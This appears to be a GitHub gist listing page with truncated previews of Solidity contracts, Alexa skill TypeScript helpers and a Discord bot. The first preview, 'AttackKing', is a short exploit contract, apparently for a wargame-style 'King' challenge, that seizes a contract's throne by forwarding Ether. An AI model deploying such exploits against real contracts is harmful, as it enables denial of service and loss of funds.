This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // This works | |
| // SPDX-License-Identifier: GPL-3.0 | |
| pragma solidity 0.6.0; | |
| contract AttackKing { | |
| function attack(address payable _kingAddress) public payable { | |
| (bool success,) = _kingAddress.call.gas(10000000).value(msg.value)(""); | |
| require(success, "Failed to send value!"); | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| //SPDX-License-Identifier: Unlicense | |
| pragma solidity ^0.8.4; | |
| import "hardhat/console.sol"; | |
| import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; | |
| import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; | |
| import "@openzeppelin/contracts/access/Ownable.sol"; | |
| import "./RewardToken.sol"; | |
| contract StakingManager is Ownable{ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| //SPDX-License-Identifier: Unlicense | |
| pragma solidity ^0.8.4; | |
| import "hardhat/console.sol"; | |
| import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; | |
| import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; | |
| import "@openzeppelin/contracts/access/Ownable.sol"; | |
| import "./RewardToken.sol"; | |
| contract StakingManager is Ownable{ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // SPDX-License-Identifier: GPL-3.0 | |
| pragma solidity >=0.7.0 <0.9.0; | |
| /// @title Voting with delegation. | |
| contract Ballot { | |
| // This declares a new complex type which will | |
| // be used for variables later. | |
| // It will represent a single voter. | |
| struct Voter { | |
| uint weight; // weight is accumulated by delegation | |
| bool voted; // if true, that person already voted |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // SPDX-License-Identifier: GPL-3.0 | |
| pragma solidity >=0.8.4; | |
| contract HelloWorld { | |
| uint256 number; | |
| /** | |
| * @dev Store a number in a variable |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // From https://github.com/xavidop/alexa-typescript-lambda-helloworld/blob/master/lambda/custom/src/utilities/strings.ts | |
| import { Strings, LocaleTypes } from './constants'; | |
| interface IStrings { | |
| [Strings.SKILL_NAME]: string; | |
| [Strings.WELCOME_MSG]: string; | |
| [Strings.GOODBYE_MSG]: string; | |
| [Strings.HELLO_MSG]: string; | |
| [Strings.HELP_MSG]: string; | |
| [Strings.ERROR_MSG]: string; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import { HandlerInput, getRequestType, getIntentName } from 'ask-sdk-core'; | |
| export function isType(handlerInput: HandlerInput, ...types: string[]): boolean { | |
| return types.some((type) => type === getRequestType(handlerInput.requestEnvelope)); | |
| } | |
| export function isIntent(handlerInput: HandlerInput, ...intents: string[]): boolean { | |
| if (isType(handlerInput, 'IntentRequest')) { | |
| return intents.some((name) => name === getIntentName(handlerInput.requestEnvelope)); | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import { HandlerInput, getRequestType, getIntentName } from 'ask-sdk-core'; | |
| const PlayStreamRequestTypes = ['LaunchRequest', 'IntentRequest']; | |
| const PlayStreamRequestIntentNames = [ | |
| 'PlayStreamIntent', | |
| 'AMAZON.ResumeIntent', | |
| 'AMAZON.LoopOnIntent', | |
| 'AMAZON.NextIntent', | |
| 'AMAZON.PreviousIntent', | |
| 'AMAZON.RepeatIntent', |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| canHandle(handlerInput: HandlerInput) { | |
| return handlerInput.requestEnvelope.request.type === 'LaunchRequest' | |
| || (handlerInput.requestEnvelope.request.type === 'IntentRequest' | |
| && ( | |
| handlerInput.requestEnvelope.request.intent.name === 'PlayStreamIntent' | |
| || handlerInput.requestEnvelope.request.intent.name === 'AMAZON.ResumeIntent' | |
| || handlerInput.requestEnvelope.request.intent.name === 'AMAZON.LoopOnIntent' | |
| || handlerInput.requestEnvelope.request.intent.name === 'AMAZON.NextIntent' | |
| || handlerInput.requestEnvelope.request.intent.name === 'AMAZON.PreviousIntent' | |
| || handlerInput.requestEnvelope.request.intent.name === 'AMAZON.RepeatIntent' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // Taken from: https://github.com/Markkop/corvo-astral/commit/6455dfe7d2fd0258a2e45703cbdad7f4c8fab12c | |
| import Discord from 'discord.js' | |
| import { getAlmanaxBonus } from './helpers' | |
| const client = new Discord.Client() | |
| const prefix = '.' | |
| client.on('message', function (message) { | |
| if (message.author.bot) return |